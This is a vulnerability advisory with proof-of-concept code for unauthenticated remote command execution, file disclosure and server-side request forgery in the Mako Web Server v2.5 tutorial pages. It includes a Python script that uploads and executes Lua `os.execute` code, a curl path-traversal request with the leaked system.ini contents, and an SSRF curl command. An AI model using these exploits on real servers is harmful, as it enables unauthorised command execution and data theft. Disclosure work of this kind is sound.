Mako Web Server v2.5 Multiple Unauthenticated Vulnerabilities

[hyp3rlinx <hyp3rlinx () gmail com>]

[+] SSD Beyond Security: https://blogs.securiteam.com/index.php/archives/3391
[+] Credits: John Page a.k.a hyp3rlinx  
[+] Website: hyp3rlinx.altervista.org
[+] Source:  
http://hyp3rlinx.altervista.org/advisories/MAKO-WEB-SERVER-MULTIPLE-UNAUTHENTICATED-VULNERABILIITIES-SECURITEAM.txt
[+] ISR: ApparitionSec


Vulnerabilities Summary
The following advisory describe three (3) vulnerabilities found in
Mako Server’s tutorial page.

The vulnerabilities found are:

Unauthenticated Arbitrary File Write vulnerability that leads to
Remote Command Execution
Unauthenticated File Disclosure
Unauthenticated Server Side Request Forgery
As these tutorial may be used as the basis for production code, it is
important for users to be aware of these issues.

“As a compact application and web server, the Mako Server helps
developers rapidly design secure IoT and web applications. The Mako
Server provides
an application server environment from which developers can design and
implement complete, custom solutions. The Mako Web Server is ideal for
embedded Linux systems.”

Credit
An independent security researcher, John Page AKA hyp3rlinx, has
reported this vulnerability to Beyond Security’s SecuriTeam Secure
Disclosure program

Vendor response

RealTimeLogic was informed of the vulnerability on Aug 13, but while
acknowledging the receipt of the vulnerability information, refused to
respond to the
technical claims, to give a fix timeline or coordinate an advisory, saying:

“I just sent a formal notification for the commercial license
requirement and also we need to put a maintenance contract in place.
Internally I need to set-up a cost allocation account for billing
against these support inquiries.”

At this time it’s unclear whether these vulnerabilities are going to
be fixed and further attempts to get a status clarification failed.


Vulnerabilities details

Unauthenticated Arbitrary File Write vulnerability that leads to
Remote Command Execution:

Mako web-server tutorial does not sufficiently sanitizing the HTTP PUT
requests, when an attacker send HTTP PUT request to ‘save.lsp‘ web
page, the input passed
to a function responsible for accessing the filesystem.

The attacker input will be saved on the victims machine and can be
execute by sending HTTP GET request to ‘manage.lsp‘


HTTP PUT  'http://VICTIM-IP/examples/save.lsp?ex=2.1'
HTTP GET  'http://VICTIM-IP/examples/manage.lsp?execute=true&ex=2.1&type=lua'


Proof of Concept


import urllib2,time

#MakoServer v2.5 Remote Command Execution 0day
#Credits: John Page AKA hyp3rlinx
#=========================================

print  'MakoServer v2.5 Remote Command Execution'

CMD="os.execute('c:/Windows/system32/calc.exe')"

opener = urllib2.build_opener(urllib2.HTTPHandler)
request = urllib2.Request('http://IP/examples/save.lsp?ex=2.1', data=CMD)
request.add_header('Content-Type', 'text/plain;charset=UTF-8')
request.add_header('X-Requested-With', 'XMLHttpRequest')
request.add_header('Referer', 'http://localhost/Lua-Types.lsp')
request.get_method = lambda: 'PUT'
opener.open(request)

time.sleep(1)

urllib2.urlopen('http://IP/examples/manage.lsp?execute=true&ex=2.1&type=lua')



Unauthenticated File Disclosure

Mako web-server tutorial is not sufficiently sanitizing GET requests,
when an attacker send GET request to the URI IP/fs/../.., the input
passed
without modification and the response with the file content is returned.

Proof of Concept
The following GET request will response with the C/Windows/system.ini content:

curl -v http://VICTIM-IP/fs/C/Windows/system.ini

* About to connect() to VICTIM-IP port 80
*   Trying VICTIM-IP... connected
* Connected to VICTIM-IP (VICTIM-IP) port 80
> GET /fs/C/Windows/system.ini HTTP/1.1
> User-Agent: curl/7.15.5 (x86_64-redhat-linux-gnu) libcurl/7.15.5 OpenSSL/0.9.8b zlib/1.2.3 libidn/0.6.5
> Host: VICTIM-IP
> Accept: */*
< HTTP/1.1 200 OK
< Date: Mon, 07 Aug 2017 22:21:27 GMT
< Server: MakoServer.net
< Content-Type: application/octet-stream
< Accept-Ranges: bytes
< Etag: 58b4be20
< Last-Modified: Tue, 28 Feb 2017 00:02:40 GMT
< Content-Length: 219
< Keep-Alive: Keep-Alive
; for 16-bit app support
[386Enh]
woafont=dosapp.fon
EGA80WOA.FON=EGA80WOA.FON
EGA40WOA.FON=EGA40WOA.FON
CGA80WOA.FON=CGA80WOA.FON
CGA40WOA.FON=CGA40WOA.FON

[drivers]
wave=mmdrv.dll
timer=timer.drv

[mci]


Server Side Request Forgery

Mako web-server tutorial is not sufficiently sanitizing incoming POST
requests, when an attacker sends an POST request to the
‘rtl/appmgr/new-application.lsp‘
URI, the input will be executed and the server will connect to the
attacker’s machine.

Proof of Concept
Start Wireshark to see successful connections made from Mako Web
Server victim machine.

Initiate requests from another machine using CURL:

curl -v -X POST http://VICTIM-IP/rtl/appmgr/new-application.lsp -d
io=net -d path=http://EXTERNAL-IP



Network Access:
===============
Remote



Severity:
=========
High



Disclosure Timeline:
====================
Would like to acknowledge Beyond Security’s SSD program for the help
with co-ordination of this vulnerability.
More details can be found on their blog at:
https://blogs.securiteam.com/index.php/archives/3391



[+] Disclaimer
The information contained within this advisory is supplied "as-is"
with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory,
provided that it is not altered except by reformatting it, and
that due credit is given. Permission is explicitly given for insertion
in vulnerability databases and similar, provided that due credit
is given to the author. The author is not responsible for any misuse
of the information contained herein and accepts no responsibility
for any damage caused by the use or misuse of this information. The
author prohibits any malicious use of security related information
or exploits by the author or elsewhere. All content (c).

hyp3rlinx

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